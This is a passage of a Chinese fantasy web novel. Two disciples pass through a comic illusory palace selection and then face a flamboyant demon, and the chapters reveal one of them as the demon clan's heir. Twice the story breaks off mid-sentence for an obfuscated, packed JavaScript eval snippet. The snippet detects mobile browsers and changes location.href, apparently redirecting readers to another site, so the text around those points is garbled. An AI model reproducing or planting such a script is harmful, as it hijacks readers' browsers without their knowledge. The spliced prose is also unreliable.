“宫廷。”叶岑想起宋显方才应付大太监时的场景,“没见过宫廷,那一套收买讨好的动作却做得如此行云流水?” 宋显侧过头,专注地看着叶岑。 他眼里氤氲着复杂的情绪,叶岑暂时没看懂。但是生着这么一双眼睛,什么情绪瞧着都有几分深情的意味。 叶岑叫他瞧得有些紧张,一开口磕巴了:“怎、怎么了?” 宋显:“虽然没有见过,但是琅嬛楼有很多书。” 原来那眼中复杂的情绪是在看傻子。 叶岑咬咬牙,反击:“你一个魔修,来我们琅嬛楼看书?” 宋显得意一笑:“正是因为作为一个魔修,入青云门如入无人之境,才显得我是个厉害的大魔头。” 叶岑:……算了,不与他计较。 叶岑又抬头瞧了瞧走在前头的大太监和秀女们。 听了宋显的话,她忽然觉得这些人都不是人,而只是机械的木偶了。 他们已经又走过了一条宫巷,此刻正在穿过一道道宫门。一个两个如同鹌鹑一般垂着头,半点声响也不敢发出,连走路都是无声的—— 确实是静得有些诡异了。 说来也奇怪,那大太监的背后好似生了眼睛,叶岑稍微有一些动作,就要被他厉骂,可宋显都探头探脑成这样了,那老太监却看不到。 叶岑又忍不住看了宋显几眼。 他因为只在书里见过对宫廷的描述,此刻好不容易见到具象的,正好奇地东张西望,动作之大,毫不顾忌。 ——所以,宋显到底一天到晚,都在琅嬛楼看什么样的书啊?那些称宋显为“芝兰玉树宋隐之”的人,想必没有翻阅过他的借书记录吧! 叶岑正胡思乱想着,背后长眼睛的大太监厉声骂道:“最后排左边那个,再东张西望的,仔细你的皮!” 叶岑:…… 再转过一道小月亮门,选秀的地方到了。 10. 第 10 章 选秀的园子叫做漪岁园,中央挖了好大一个池塘,一个台子临水而建,四周围围了重重叠叠的纱幔,一眼瞧过去,纱幔里头隐约可见一道人影。 ——想必那就是皇上! 叶岑上辈子的职业病有点犯了,眼前一亮,忍不住摩拳擦掌。 宋显凉凉地看她一眼:“都是幻象,假的。” 叶岑又蔫了。 选秀很快开始,台子前的空地上放了一把古琴,古琴边站了个负责考核的女官。 第一关比的是琴技。 笑死,简直是轻而易举。 叶岑从前在琴棋书画上头不知花了多少功夫,即便是在幻境里,也有信心能够拔得头筹! 秀女们一个个上前弹琴,叶岑闭目倾听。 有的御前紧张,一勾弦调都变了;有的技术不佳,呕哑嘲哳,难以入耳;还有的中规中矩,虽然勉勉强强,但是也就那样。 简言之,没一个成气候的。 眼见着女官的脸愈发阴沉的时候,叶岑上场了。 她端庄地上前坐下,先调了调琴弦,露出自信笑容。 她抬手,指尖拂过琴弦,泠泠的琴音就流淌出来,如同清泉,如同高山,爽籁发而清风生,纤歌凝而白云遏①。 宋显原本双手环胸在一旁冷眼看着,瞧见叶岑自信的神情还不以为然,听到着琴声愣了愣,不由得挑了挑眉。 有点东西。 一曲毕,女官的神色终于稍稍缓和了些,看着叶岑,赞赏地点了点头。 叶岑心下得意,面上却不显露,得体地退到一边。 接下来便轮到宋显。 叶岑心中隐隐有些期待。 希逢阁的谢礼长老就是以琴入道,因此,星垣阁中也有音修,都是盼着能拜入希逢阁去的。 宋显虽是个剑修,听闻也很得谢长老的赏识。 谢礼长老是大殷琴修中的翘楚,能得他的赏识,想必也是技艺高超。 宋显神情凝重地走上前去,抬手起势,指尖操过琴弦,发出铮然一声响。 叶岑的一双眼顿时瞪大了—— 好难听! 为什么有人弹古琴,能弹出弹棉花的效果? 叶岑不由得陷入了沉思。 所以谢礼长老到底赏识宋显什么?赏识他的脸吗?还是赏识他力气大? 随即,她心头更多的问题冒出来。 这是依着叶岑的渴望编织着幻境,如今艳鬼在暗,他们在明,为了引她出来,只能老老实实走剧情。 可是宋显弹琴弹得这么难听,一定会被刷下去的吧!这是叶岑的幻境,他被刷下去,能去哪里呢?到时候只剩下叶岑一个人,又改如何面对艳鬼呢?毕竟,这可是浮屠塔的三百二十七层啊! 正想着,宋显手上一用劲,拨断三根琴弦。 叶岑心惊胆战地去看考核女官,女官也满面惊诧。 良久,她终于开口,道:“妙啊!” 叶岑:“?” 女官:“这乐声中满是杀伐之气,一听就知道此女臂膀坚实,能够扛鼎拔山。” 叶岑:“??” 女官走上前去,在宋显的手臂上抚了一把:“瞧瞧这完美肌肉线条,这正是我们需要的人才!!” 转头向领他们来的公公道,“将她的牌子留下,进入下一关。” 叶岑:“???” 宋显被人摸了手臂,面色更加凝重,甚至身上隐隐泛起一阵杀意。 但是好歹过了关,叶岑悄悄拉住他的衣角顺毛:“冷静,正事要紧,先走剧情。” 那边女官见公公留下了宋显的牌子,又转头看剩下的秀女们,神色顿时变得勉强起来,不情不愿地点了几个人。 “你、你、你,那边三个,后边五个,还有……”她的手指点到叶岑,“你,你们几个,也勉强留下牌子吧。” 语气中还带了几丝根本没打算遮掩的嫌弃。 硬了。 叶岑藏在袖子下的拳头硬了。 下一瞬,一只微凉的手握上叶岑捏紧的拳头。 她低头一看,又抬头,对上宋显望过来的视线。 宋显道:“冷静,正事要紧,先走剧情。” 叶岑:“。” 第二关比的是刺绣。 音乐或许各人有各人的审美,但是刺绣就不一样了,绣出来的图案像与不像、精美与否,就摆在了那里。 一排排绣架被搬上来摆好,叶岑收拾好心情,再一次自信上场。 刺绣也是叶岑所擅长的,她穿针引线,针尖在绣布上飞快穿梭。 还是同一位女官考核他们,她背着手在绣架边走来走去,走到叶岑身边时,驻足良久,大概在细细品味。 一炷香时间过后,叶岑绣成了。 她绣的是一幅鸳鸯戏水图,但并不寻常,将绣好的图案一翻,又是一丛雍容华贵的牡丹——竟是双面绣! 女官果真为她折服,点了点头,真心实意地夸了一句“不错”。 然后探头去看她隔壁的绣作。 隔壁就是宋显。 他的绣架被安排在叶岑的右手边,但他一个剑修,只用过长剑,还是拿来杀人,哪里摆弄的来绣花针呢? 叶岑也探头去看,看他的绣布上只用单条线勾了个线稿,大圆球上头顶着个小圆球,又伸出纤长的四肢来,小圆球上还有几根飘摇的银线,赫然是一只…… 不嗔兽! 叶岑:“?” 叶岑:“你疯了吗?” 宋显面色阴沉地捏断第三十七根绣花针,把断针往绣布上一扔:“我根本就不会刺绣。” 棉花都弹了,总不能折在这一关上。况且就算不会刺绣,态度还是要摆正。 叶岑打算劝劝他,想了想,刚张嘴,女官的声音在他们的头顶炸响开来:“妙啊!” 叶岑:“?” 谁……妙?宋显吗? 叶岑疑惑地抬头,瞧见女官赞赏的眼神确实落在宋显绣的那只不嗔兽上,或者更准确地说,是凝在宋显摆在不嗔兽边的那只手上。 女官:“白玉青葱,化柔为刚,都能捏断绣花针,手指上的功夫必然也不会差,正是我们需要的人才!” 看向老太监:“留下她的牌子,送去下一关。” 叶岑:“??” 你们果真是在选秀吗?你们就是看脸的吧! 第三关比的是书法。 叶岑泼墨挥毫,瘦影自怜清水照,侧锋如兰亦如竹,锋芒毕露,遒美瘦劲。 女官点评:“蛮有力道。” 宋显执笔点墨,字大如斗,力大如牛,一笔下去,洇破三十张宣纸。 女官竖起大拇指:“孔武有力,妙啊!” 叶岑:“。” 算了。 见怪不怪了。 第四关比棋局。 叶岑巧解玲珑局,宋显大力掀棋盘。 叶岑替女官先把话说了:“性情中人,妙。” 女官:“……说得对啊!” 惊诧地看叶岑一眼,赞赏道:“你这小姑娘,倒是有一双慧眼。” 叶岑:“……” 谢谢,但是得到这样的夸奖并不是很开心。 第五关,第六关……到最后,那么多秀女中,只有叶岑与宋显被留了下来。 叶岑凭的是实力,而宋显,凭的大概是考核的女官眼瞎。 叶岑简直替他感到羞耻。 但宋显不以为耻,或许是他一路的过关斩将给了他自信,他脸上不再阴云密布,神色间甚至有了些许得意。 这是何等的厚脸皮啊! 这时,不知从哪里来了两个宫娥,走到台子前将层层的纱幔拉开。 叶岑偷偷伸着脖子看—— 她上辈子还没有幸得见过天颜。 但是很快,她眼中期待的光便熄灭了。 纱帐里头走出来一个人身量不高,但是身材魁梧,双臂上的肱二头肌大得让人无法忽视。 叶岑:“?” 显然并非皇帝。 但你一个肌肉猛男你躲在那里面干什么啊!!! 肌肉猛男一脸倨傲:“我方才在里头都瞧见了。” 他看看宋显,眼缝中透出一丝赞赏:“你确实不错。” 又看看叶岑:“你么,勉勉强强,也算过得去。” 转身道:“那随咱家走吧。” 肱二头肌领他们去见皇上,一路上絮絮叨叨:“你们可比咱家当年幸运多了,刚被选中就能直接去见圣上,从前哪里能有这样的好运道?实在是现在宫里头缺人,圣上又实在喜欢做那种事情,要不然,这种好事哪里轮的上你们?” 叶岑:“……” 那种事是哪种事?为什么这话听着这么不对劲啊? 而且那种事情,通常不是一对一的么?为什么她和宋显要一起去啊!! 叶岑虽然对选秀的流程不甚谙熟,但这会儿也莫名觉得,正规的选秀不应该是这样的。 她偷眼去瞧宋显。 宋显显然并未意识到事情的严重性。只见他抬头挺胸,昂首阔步,走出了第一秀女的自信,简直宛如一只光彩照人的粉孔雀。 叶岑有些不明白了。 起先她以为,宋显之所以会出现在浮屠塔中,是因为青云门要在门内大比中,考验弟子的品性。 但那一直只是她以为。 现在想来,宋显之所以会出现在第三层,是因为和白矖缠斗时没注意——他分明一开始就目的明确直奔三百二十七层,反而遇上叶岑是个意外。 那么,究竟是什么原因,让他一个各阁长老都赞不绝口的尘中阁首徒,不能以本人的身份进来浮屠塔,反而要扮作魔修潜进来呢? 正想着,肱二头肌的脚步停下来了。 叶岑一抬头,眼前一座殿阁,门上正当中挂着一方牌匾,上书“汤沐阁”三个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808947|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字。 汤沐阁,听着似乎功能很明确。 叶岑心中隐隐有了不好的预感。 肱二头肌道:“圣上在里头内殿,咱家未得传召进不去,你们自己个儿往里走,脚步要轻。进去之后,多学、多做,少看、少说话。” 叶岑脚下生根,迈不出步伐。 肱二头肌眉头一拧:“还不快些进去,难不成还叫圣上等你们吗?” 说着将他们俩人往里头推。 推了两步,又退出去,然后,就像先前突然出现的穿鹅黄宫服的小宫娥一样,这会儿是穿暗朱色宫服的两个小太监,也是不知从哪里冒出来的,一人抬一扇门,将汤沐阁的大门关上了。 宫门阖上发出一声闷响,叶岑听到肱二头肌与小太监在外面羡慕嫉妒恨地道:“他们真是好福气。” 叶岑:“……” 这福气给你要不要啊!② 这福气叶岑不想要,肱二头肌想要要不到,只有宋显,好像对此一无所知,抬脚就往内殿走。 走了两步,察觉到有人没跟上来,回头去看叶岑:“怎么了?” 他也不知在期待什么,似乎心情好极了,似笑非笑看着叶岑:“这不是艳鬼专门替你编织的吗?” 叶岑:“……” 叶岑挪不动脚,因为她想不通宋显偷偷潜进浮屠塔的原因。 不知原因还是次要的,她主要害怕自己万一发现一点宋显的秘密,就被他杀人灭口。毕竟——她垂眸去看宋显的右手,那里前不久还在滴着血,此刻伤口应当已经结痂了——毕竟那么稀有的异兽白矖,他说杀也就杀了。 大抵察觉到叶岑的视线,宋显的指尖曲了曲。 叶岑一时还没想好合适的说辞,只好用宋显的矛去攻宋显的盾:“我一个正道人士,和你一起进去,岂不是成了与魔道同流合污?” 宋显毫不顾忌地笑出了声:“这会儿倒怕我同流合污了,方才选拔时明明还很投入。” 说起选拔叶岑就生气,她咬牙切齿地替自己找借口:“那是因为,我们正道人士,不管在什么领域,都要压你们魔修一头。” 宋显“哦”了一声:“但是方才那个女官,似乎更中意我一些。” 叶岑:“……” 那是因为她眼瞎心也盲,根本就只看脸,一点也不公平公正! 宋显瞧着她吃瘪的样子,心情大好。 宋显:“行吧,我们也算不上同流合污。”他想了想,“实际上,是我胁迫了你。” 叶岑:“?” 宋显睨她一眼:“你打得过我吗?” 叶岑:“……” 她在心中换算了一下,宋显可以手撕一只白矖,而一只白矖可以生吞一百只叶岑。 笑死,这根本就不是打不打得过的问题。 叶岑屈辱地摇了摇头。 宋显:“那不就行了!” 宋显说着,上下打量叶岑,目光最终停在她的腰间。 ——那里挂着她的魂玉。 说起来青云门的东西也是神奇。她甫一醒来就是在幻境里,虽然样貌还是白涟漪的样貌,壳子却应当是换了一个的。可魂玉还是好好挂在她腰上,芥子囊也被她好好贴身收着。 宋显将手伸向她的腰间,一把拽下魂玉:“拿来吧你!” 将挂魂玉的红线绕在指尖甩了甩:“行了,胁迫了。” 然后一把握住,收进怀里:“那现在可以走了吗?” 叶岑:“……走吧。” 还能怎么办?打也打不过,跑也跑不了,当然是先走一步算一步啦。 但是叶岑多留了一个心眼,飞快地从芥子囊中刮了几张符箓拽在手里,这才随着宋显往里走。 又走了几步,临近内殿的殿门,宋显却踌躇了。 他在殿门口停下脚步,回头看了叶岑一眼,神色变得十分古怪。 叶岑还未在宋显脸上见过这样的神色,一边往前走,一边问道:“怎么——!!!” 叶岑说话的声音戛然而止—— 她忽然明白宋显为什么是这样的神色了。 她方才落后宋显几步,这会儿也走到了内殿门前,顿时就听到内殿的动静了。 那是一串娇媚的、断续的、令人不得不产生无限遐想的低吟声。 仔细一听,还不是一个人,一听就是一男一女。 是啊。 汤沐阁,一听名字就水汽腾腾的,不就是专供圣驾洗澡的地方吗? 这叶岑早就预料到了。 但是听这里头的动静,分明已经有人在鸳鸯浴了呀! 那还把她和宋显叫来做什么?四劈吗? 叶岑惊恐地看向宋显。 宋显也正看着她,一双眼中满是不解,眉头也缓缓蹙了起来。 宋显道:“没想到,你最渴望的,竟然是这样的事情。” 叶岑:“?” 我不是我没有你不要乱讲! 11. 第 11 章 宋显对这种事情接受得很快。 虽然白涟漪的孟浪是远超他的想象的,但她毕竟是星垣阁弟子,而他又是尘中阁乃至整个青云门的大师兄,既然看到了,少不得要肃清一下门风。 宋显整理了一下心情,深吸一口气:“走吧,进去吧。” 说着就想伸手搭上她的肩膀,给她一份精神上的支持。 叶岑飞快一躲,站到了宋显的身后:“你走前面。” 宋显眉头又微微蹙起:“怎么?你自己想的,却不敢面对吗?” 叶岑:“……” 她是想宫斗!可宫斗的终极奥义是做皇后!做太后!做后宫最有地位的那个人!是扳倒这个妃那个嫔的同时,优雅地涂着蔻丹!是杀人不见血,是吃人不吐骨头,是暗流涌动,是刀光剑影!而不是侍寝,更不是在澡堂撞见皇上和别人做运动时,去加入他们——还带着一个宋显! 这个艳鬼是怎么回事啊! 不会艳鬼的“艳”,其实是香艳的“艳”吧!? 但是这种事,和宋显是解释不清楚的。 叶岑苟在他身后,脸皮厚如城墙:“我是正道的清纯小师妹,我怕等一下进去见到什么不好的画面,长了针眼。” 宋显都被气笑了:“难道我看了就不怕长针眼?” 叶岑:“你是魔修。你们修魔的,荒淫无度的,都把人抓来做炉鼎,是男是女都抓,什么场面没见过?” 她才不管宋显和魔修什么关系,反正就算砸了他的脚,那石头也是宋显他自己搬的。 她推推宋显:“反正你走前面,不然我不走。” 也不晓得是不是错觉,叶岑总是觉得,今日的宋显好像格外有耐心。 就拿先前的选秀来说,没一个项目是宋显擅长的,但他好歹都糊弄过去了。 此刻也是,叶岑与宋显有短暂的僵持,两人只是大眼瞪小眼了一阵,宋显道:“行吧。” 就转身推门去了。 殿门推开,温热的氤氲水汽扑面而来。 两人一同进内殿,宋显走在前头,走了两步,蚌住了。 叶岑从宋显身后探出头来,也蚌住了。 只见御池边的玉榻上,一男一女两人背朝上趴着,全身除了拿浴巾盖住了臀部,几乎赤条条。而在他们的身侧,各跪了一个人,低眉顺眼,目不斜视,只是一双手在他们的背上游走,伴随着敲、点、揉、压、刮、推、捋、按,于是两人都发出满足的喟叹声。 叶岑定睛一看,左边趴着的那个她还认识,正是上辈子赐了她一丈红,害得她出师未捷身先死的贵妃娘娘! 那么另一个—— 虽然不曾见过这个人,但是叶岑想,她已经很确认此人的身份了。 果然,贵妃娇笑道:“皇上,臣妾特意培养的人,是不是很厉害?皇上可觉得舒服?” ——竟是在做大保健! 难怪!难怪方才选秀的时候,那女官瞧见宋显一口气捏断三十七根绣花针,眼中满是赞赏,还要夸他孔武有力! 这哪里是在选秀女?这分明是在选按摩师! 贵妃还在那里道:“臣妾已经吩咐下去,让他们再挑两个有天分的,届时经过臣妾的调教,必然能给陛下带来更极致的体验。” 叶岑惊得几乎都要站不住了。 汤沐阁的地上都是湿哒哒的水汽,叶岑脚下一滑,还好被宋显扶住了。 两个人眼神一对,叶岑觉得,宋显看她的眼神更加一言难尽了。 仿佛在说:这还不如我先前以为的。 那边贵妃听到动静,回过头来,眼前一亮:“瞧,她们来了。” 叶岑羞得无地自容。 或许、大概、也许、可能,因为她上辈子死得不甘心,所以潜意识深处,很想见识一下贵妃到底是凭什么手段把皇上迷得神魂颠倒的。 可是旁人将这一幕看在眼里,只会觉得,她是一个内心深处渴望给别人做大保健、过五关斩六将地参加才艺比拼只为了给别人做大保健的——变态! 皇帝也转过头来,看见两人,眼睛顿时也亮了亮。 他是个皇帝,虽然是个热爱大保健的皇帝,但更重要的是,他是个皇帝。 是皇帝,就可以理所应当地享用宫中所有的女人。 他晓得贵妃搜罗女子技师的目的,但是他最近盛宠贵妃,不愿意当着贵妃的面做出太荒唐的事。不过,若是有年轻小姑娘,用那双白嫩柔软的手揉揉他的背,哪怕技术没有那么好,他也觉得很妙。 这么一想,顿时有些心猿意马。 他挥挥手叫技师停下来,侧过身半卧在玉榻上,眼神在两个人身上逡巡。 御池里的热水氤氲着有些朦胧的水汽,皇帝瞧不见她们的相貌,只能去瞧身形。 这两个女子一高一矮,高的那个固然窈窕纤细,但是不该瘦的地方也瘦得有些过分,可以说是一马平川了。 倒是个子矮一些的那个,凹凸有致,可以称得上玲珑。 皇帝的兴趣被勾了起来,勾勾手:“过来。” 宋显不便做大动作提醒叶岑,借着袖子的掩护,抓着她的手腕捏了捏,轻声道:“走吧。” 两人一同走到皇帝跟前,叶岑低垂着眉眼,但余光还能瞥见皇帝的脸色,她瞧见狗皇帝的一双眼顿时更亮了几分,然后侧头瞧了贵妃一眼,眼中满是赞赏。 贵妃得了表扬很是开心:“你们俩就好好看,学学……” “诶——”皇帝打断贵妃,“实践方能出真知,光看怎么行呢。” 他抬手,指尖在叶岑与宋显两个人身上来回转,一双眼却宛如生出钩子只盯着叶岑:“不如……” 宋显不动声色往叶岑身前一档:“不如我来替陛下捏捏腿。” 皇帝的眼神这才从叶岑身上撤下来,移到宋显脸上。 此女虽然身材差了些,但是一张脸着实生得不错,英气中带着几分疏冷,即便是笑起来,也不带一丝媚俗,同后宫那些庸脂俗粉不一样。 但,他就不是好拿捏的那种皇帝。 他大喇喇往玉榻上一躺,遮挡的白布都歪到了一边,浑身赤条条,还要饶有兴致地看着宋显,但是眼底分明闪过一丝惊慌:“你?” 宋显更上前一步,将叶岑的视线挡了个严实:“是啊,我。” 皇帝一双手臂撑着自己,下意识地将自己后退了一些。 宋显逼近皇帝,与他对视,面上的笑意更甚:“陛下躲什么?难道不敢让我碰吗?” 皇帝顿时面色大变。 变故就在瞬间。宋显出手如电,一道银光在他指尖一闪,直取皇帝面门。 皇帝一声惊慌的叫喊还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808948|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来得及从喉间溢出,就如同一具木偶一般僵在了当场,面容迅速灰白,只有额心还有些光泽,赫然是一根银色的断针。 ——他将皇帝给杀了。 一旁的两个技师陡然见到这样的变故,惊慌失措,尖叫连连,被求生的本能驱使着,狼狈不堪地往外爬。 叶岑眼疾手快,往他们一人背上贴上十张定身符。 解决了这三个,那么便只剩下了—— 叶岑指尖绕过一沓定身符,转身看向贵妃。 正要有所动作,宋显横过来一条胳膊,拦在了她身前。 叶岑困惑地去看宋显。 宋显看着贵妃,笑道:“戚滟姐姐,许久不见,别来无恙啊。” 叶岑:“……?” 下一瞬,叶岑只觉得眼前一花,周遭的景致飞快地先是褪去颜色,而后变得模糊、扭曲。 等到眼前的景象再一次清晰起来的时候,叶岑……叶岑的眼睛几乎都要瞎了! 幻境褪去之后,露出来的大抵是浮屠塔的内壁。但是原本应当是青砖灰墙的内壁,此刻却是一片色彩纷繁。墙上挂着的是绯红色的绸子,地上铺的垫子则是亮橘色,就连顶上都垂下各色的缎子,草绿、嫩黄、紫红,色彩斑斓。 偏偏塔内暗得很,墙上只嵌了两个灯龛,还被垂下来的彩缎子盖住了,于是散着诡异的蓝光。 有一个形容怎么说来着?五彩斑斓的黑! 叶岑惊恐地看向贵妃—— 幻境一破,她不再顶着贵妃的脸,而露出自己原本的样貌,是个瞧着似乎二十出头的女子,丹脸朱唇,目澄秋水。身上虽然穿了衣服,但是聊胜于无。准确地说,只是挂了几片翠蓝色的布料,遮住了几个重点部位,香肩锁骨、纤纤细腰,还有一双大长腿,全都露在外头。倒是头顶上戴一顶花冠,珠光宝气,璀璨夺目,亮瞎人眼。 那抹靓丽的翠蓝色,正是先前幻境的宫巷里,叶岑望见的那道蓝色。 ——此人正是艳鬼戚滟。 而先前被叶岑贴了定身符的两个按摩师和被宋显扎了针的皇上,则化作了毫无生气的木偶。 但是——她看着四周围花里胡哨的红绸子,片刻后,又将目光凝到戚滟的脸上——到底是什么样的审美,才会在脸上打这么重的两团桃色腮红的同时,还要给自己画两条绿色的眉毛啊! 所谓艳鬼,难道不应该是“娇艳欲滴”的“艳”吗? 看这眼前光景,分明是色彩斑斓的“艳”吧! 但是戚滟毕竟生得美,顶着这么神奇的妆容,看得久了,竟也让人忍不住要生出些别样的情愫。 她的身下还是玉榻,只是与方才幻境中趴着做大保健的玉榻略有不同,上面铺着一张白毯,算是这一片辣眼睛的万紫千红中唯一一处素净的地方。 幻境被人破了,戚滟也并不惊慌,反而理了理身上少得可怜的布料,换了个半卧的姿态。 然后伸手打了个响指,那三个木偶人便又动起来,化作三个男子,一个文质彬彬,一个腹肌八块,一个弱柳扶风,共同点是都容貌昳丽,且袒胸露乳。 他们妖娆地走向戚滟,一个给她喂葡萄,一个给她倒酒,一个则是手中托着一管烟杆。 戚滟歪头吃一颗葡萄,将籽吐在那男子的手心,这才看向宋显,也笑着道:“原来是小阿梨啊。” 12. 第 12 章 小……什么梨?谁? 叶岑茫然地看看戚滟,又看看宋显,发现他们两个形成一种无声的对峙,虽然面上都是笑意盈盈,实际上暗流涌动,剑拔弩张。 叶岑脑中忽然灵光一闪—— 什么小阿梨? 这艳鬼喊的,分明是小阿离,而先前宋显自报的魔修名字,不正是封离吗? 好家伙,什么考验新弟子的心性,原来青云门的大师兄他真的是个货真价实的魔修啊! 对啊!要不然他一个尘中阁大弟子,想进浮屠塔,为什么要偷偷潜进来呢? 这事情门中其他弟子知道吗?诸位长老知道吗?! 旁的暂且不论,知道这个秘密的她,还能好好活着吗? 叶岑瞧着这一地的彩色缎子,恨不得抓一段,团成团,塞到自己的耳朵里。 或者戚滟和宋显一句话也不要多说,赶紧打起来! 因为这种大秘密,往往是知道得越多,死得越快啊! 但是戚滟不。 她是个大反派,反派的首要特征就是话很多。 戚滟笑看着宋显:“无事不登三宝殿。小阿离费尽心思潜进浮屠塔,难道……” 她说话间,右边的男子纤长的手指捧着夜光杯,正递到她的嘴边。 她就着那双手将酒饮下,眼波流转间,魅惑意味十足:“难道是想加入我们吗?” 叶岑:“……” 虽然很庆幸戚滟没有说出什么了不得的大秘密,但是也不是很想听到这样的淫词浪语。 面对这样的轻佻之语,宋显却面不改色。 “那可不好。我这个人占有欲强,”他笑了一声,顿了顿,忽然出手,指尖几道银丝,直逼戚滟面门。 戚滟躲也不躲。 那银丝的其中一根从她耳下掠过,削下一缕断发。 其余的,钉在她身侧男人们的手腕、额心、心口,那些男人便顿时又如木偶一般动作一顿。 宋显:“所以对于喜爱的事物,并不愿意同他人分享。” 他说着,十指一勾,银丝瞬间化作无形。而木偶劈啪作响,碎得七零八落。 宋显微微挑眉,讶异道:“哎呀,不小心打碎了。” 分明在挑衅,脸上的表情却好茶! 叶岑默默后退了一步,往自己脑门贴了张隐身符,试图让自己与七彩的缎子融为一体。 戚滟的视线还落在宋显身上,面上不显一丝懊恼,眼底却浮上一层阴翳。 她心中其实没底,因为就在前不久,她被人偷袭了。 那人出手又准又狠,只是那次偷袭更像是为了试探,似乎并没有存着必杀之心。但即便如此,还是让她受了伤。 好在她豢养的灵蛇替她挡了一挡。 其实那女修甫一进入三百二十七层时,戚滟就有所察觉了。 她疑心是偷袭她的那人去而复返,但她素来谨慎,因此只是做个幻境将她困住,好方便自己暗中观察。 此刻看来,偷袭她的应当并不是那个女修,而是眼前这个人。 戚滟向来知道魔族有个小主人养在青云山,名叫封离。 她同小主人接触的机会并不多,仅有的几次见面,都是在很多年前了,而且都只是远远一见,并没说过一句话,因此,她并不熟知他的性子,如此面对面地交锋,还是第一次。瞧他如今这样子—— 恐怕是善者不来。 只是她虽然修魔道,却并不擅长近身搏斗,因此只能想办法继续周旋。 戚滟坐起来,收敛了嬉笑的神色:“是庾柘让你来的?” “是啊,找了我好几次,每次都还要说些什么‘天将降大任于斯人也’的狗屁话——”宋显掏掏耳朵,“说得我耳朵都要生茧了。” 戚滟在心中嗤笑。 天将降大任于斯人也。 魔族如今势微成这样,谁还能担得起什么大任? 当初她投身魔道,不也是贪图一时的享乐吗?结果遭了报应,最终被关到这浮屠塔来了。 她是在六年前入的浮屠塔,这六年里,魔族可没人来过问过。 如今都到了要把她抓回去的地步了,魔族果是真的没有人了。 就这样还在做着复兴的春秋大梦,可见魔修的脑子,都是有点问题的。 她心中这么想,话却不能这样说。 因为宋显既然冒着可能暴露身份的风险来救她,那么,这或许是她能利用的机会。 戚滟这样想,便又笑起来:“那小主人来找妾,可是有用得着妾的地方了?” 宋显眼睛亮了亮,面上显出来惊喜的神色,就像小孩得到大人会给糖果的许诺:“我有用得着姐姐的地方,姐姐便会赴汤蹈火、肝脑涂地地为我去做吗?” 戚滟:“……” 不要乱加奇怪的修饰词啊淦!魔不为己天诛地灭,怎么可能会愿意做到肝脑涂地这一步啊! 戚滟:“这是自然,小主人可是我们魔族复兴的希望。” 一旁的叶岑:“!!!!” 她听到了什么?小主人!!复兴我族!!! 人家不但是个魔,还是魔域继承人! 叶岑啪啪啪又往自己脑门上贴了三张隐身符,让自己消失得更彻底一点。 宋显“哦”了一声,看着一地的木偶残肢,也不知在想些什么:“我以为姐姐这么多年待在浮屠塔不出来,是贪图此间乐事,不舍得呢。” 戚滟:“哪里的话?我在浮屠塔六年,日日夜夜不忘与正道的血海深仇。韬光养晦,卧薪尝胆,只等小主人带带我们杀光道修,重振魔道荣光呢。” 叶岑:啊啊啊啊啊听到了吗他们还要重振魔道! 她百忙之中又往脑门上啪啪啪贴了六张隐身符。 宋显很开心:“那正好,我们走吧。” 他说这话时,紧绷的身体已经彻底松下来,完全不再是戒备的状态,甚至开始打量起四周,似乎在考虑该如何不闹出大动静地出去。 他对戚滟的表忠心表现得如此深信不疑,这让戚滟本人都心里没底,面上虽然挂着笑,笑容却多少有点勉强:“这便走吗?” “是啊。”宋显回头看她,“姐姐难道还有什么东西要带吗?” 他略感诧异:“不应该啊。这三个野男人都叫我给杀了,那条蛇也叫我给斩了。浮屠塔里,还有什么是戚滟姐姐舍不下的?” 戚滟一愣:“你说什么?” “我说,”宋显笑得一脸天真无邪,一字一顿道,“我、将、那、条、蛇、给、斩、了。” 变故就发生在一瞬间。 叶岑还没来得及眨眼,甚至没来得及弄清楚戚滟为何忽然变了脸,她已经同宋显打在一起了。 戚滟的武器是她的烟杆,托在指尖时,是长长一杆,作为武器时,却生出薄刃,锋利得很。 她也不知怎么被触了逆鳞,一改方才谨慎试探的样子,出手皆是杀招。 反观宋显,他大抵是怕被裴无衣察觉,动起手来反而有些束手束脚,在戚滟这样只攻不守的杀招之下,一时竟落了下风。 叶岑看着眼前的场景。 一个是魔修,另一个……是伪装成剑修的魔修,虽然不知他们此刻为什么会打作一团,但叶岑只觉得……她的眼睛要瞎了! 戚滟将塔内布置成这样,随着他们的打斗,五光十色的绸缎乱飞,只用一个“眼花缭乱”根本不足一形容,还伴随着布帛破碎的撕裂声,宛如金鼓喧阗。 方才他们还未开打时,叶岑就在偷偷画阵法,此刻她周身铺了一圈缚灵阵,各个阵法的中心连起来还是个小型的散灵阵。 这样,就算他们打架时不小心打到她这边,攻击也能被阵法消弭,即便不能完全抵消,也能有所削弱。 她缩在安全的阵法里,换了个更为舒服的姿势观战,心中呐喊:撕得好,撕得再响亮些! 她目不转睛地盯着二人的战况,心中思绪万千—— 戚滟与宋显相斗,此刻是不分上下,难以看出胜负。 若是戚滟赢了,她原本就是一个不折不扣的大魔头,想必不会放过自己。 而宋显,他在青云门潜伏多年,如今让她知晓了真实身份,以她与宋显目前的交情……他们目前就没什么交情,所以他也很可能会为了保守秘密,杀人灭口。 那么,其实最好的结果是—— 戚滟与宋显两败俱伤。 叶岑垂下头去,将手中的一沓符箓翻过来转过去地看。 那瞧着是一沓符箓,其实并不尽然。 那本《鬼画符》里说,符修一道,不可太拘泥于常规。 